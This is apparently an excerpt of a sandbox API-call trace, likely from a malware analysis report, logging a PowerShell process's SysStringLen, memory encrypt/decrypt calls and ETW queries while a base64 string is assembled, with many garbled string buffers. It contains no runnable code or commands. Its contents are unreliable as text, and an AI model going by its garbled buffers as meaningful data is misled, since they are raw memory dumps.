0x0 [0198.400] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀쒖熱鮪쌕唙\㷚ଫ䝻槢䣫쾅䎍쮈댷䈯ˉ緖筸´䫈휪⊥) returned 0x30 [0198.400] SysStringLen (param_1="ݻ䋆े℡뺯朗櫠쯶ὂ傹浯剼ࡘ㔅胔쯼\ꗝ\旛唀쒖熱鮪쌕唙\㷚ଫ䝻槢䣫쾅䎍쮈댷䈯ˉ緖筸´䫈휪⊥) returned 0x30 [0198.400] SystemFunction041 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0198.400] SysStringLen (param_1="J5Zw2mjNzM2vjV05sfsmSMOHJNwXkaN71vzwI3rcSuc=ວ㮰אּ﫰") returned 0x30 [0198.400] SystemFunction040 (in: Memory=0x3da2c4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da2c4) returned 0x0 [0198.400] EtwEventActivityIdControl () returned 0x0 [0198.400] EtwEventActivityIdControl () returned 0x0 [0198.400] EtwEventActivityIdControl () returned 0x0 [0198.401] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e600, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0198.402] EtwEventActivityIdControl () returned 0x0 [0198.402] EtwEventActivityIdControl () returned 0x0 [0198.402] EtwEventActivityIdControl () returned 0x0 [0198.403] SysStringLen (param_1="") returned 0x8 [0198.403] SysStringLen (param_1="N") returned 0x8 [0198.403] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0198.403] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0198.403] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0198.403] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0198.403] SysStringLen (param_1="ND") returned 0x8 [0198.403] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0198.403] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0198.403] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0198.403] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0198.403] SysStringLen (param_1="NDZ") returned 0x8 [0198.403] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0198.404] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0198.404] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0198.404] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0198.404] SysStringLen (param_1="NDZl") returned 0x8 [0198.404] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0198.404] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0198.404] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0198.404] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0198.404] SysStringLen (param_1="NDZlO") returned 0x8 [0198.404] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0198.404] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0198.404] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0198.404] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0198.405] SysStringLen (param_1="NDZlOD") returned 0x8 [0198.405] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0198.405] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0198.405] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0198.405] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0198.405] SysStringLen (param_1="NDZlODR") returned 0x8 [0198.405] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0198.405] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0198.405] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0198.405] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0198.405] SysStringLen (param_1="NDZlODRm") returned 0x8 [0198.405] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0198.406] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0198.406] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0198.406] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0198.406] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0198.406] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.406] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0198.406] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.406] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0198.406] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0198.406] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.406] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0198.406] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.407] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0198.407] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0198.407] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.407] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0198.407] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.407] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0198.407] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0198.407] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.407] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0198.407] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.407] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0198.407] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0198.407] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.408] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0198.408] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0198.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0198.408] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.408] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0198.408] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0198.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0198.408] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.408] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0198.408] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0198.409] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0198.409] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.409] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0198.409] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0198.409] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0198.409] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0198.409] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0198.409] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0198.409] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.410] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0198.410] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.410] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0198.410] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0198.410] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.410] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0198.410] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.410] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0198.410] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0198.410] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.410] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0198.410] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.410] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0198.410] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0198.410] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.411] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0198.411] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.411] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0198.411] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0198.411] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.411] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0198.411] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.411] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0198.411] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0198.411] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.411] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0198.411] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.412] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0198.412] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0198.412] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.412] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0198.412] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.412] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0198.412] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0198.412] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.413] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0198.413] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0198.413] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0198.413] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0198.413] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0198.413] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0198.413] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.413] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0198.413] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.413] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0198.413] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0198.413] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.414] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0198.414] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.414] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0198.414] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0198.414] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.414] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0198.414] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.414] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0198.414] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0198.414] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.414] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0198.414] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.415] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0198.415] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0198.415] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.415] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0198.415] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.415] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0198.415] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0198.415] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.415] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0198.415] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.415] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0198.415] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0198.415] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.415] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0198.416] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.416] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0198.416] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0198.416] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.416] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0198.416] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0198.416] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0198.416] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0198.416] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0198.416] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0198.416] SystemFunction041 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.417] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0198.417] SystemFunction040 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.417] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0198.417] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0198.417] SystemFunction041 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.417] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0198.417] SystemFunction040 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.417] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0198.417] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0198.417] SystemFunction041 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.585] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0198.585] SystemFunction040 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.585] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0198.585] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0198.585] SystemFunction041 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.585] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0198.585] SystemFunction040 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.585] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0198.586] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0198.586] SystemFunction041 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.586] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0198.586] SystemFunction040 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.586] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0198.586] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0198.586] SystemFunction041 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.586] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0198.586] SystemFunction040 (in: Memory=0x5c9193c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9193c) returned 0x0 [0198.586] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0198.586] SysStringLen 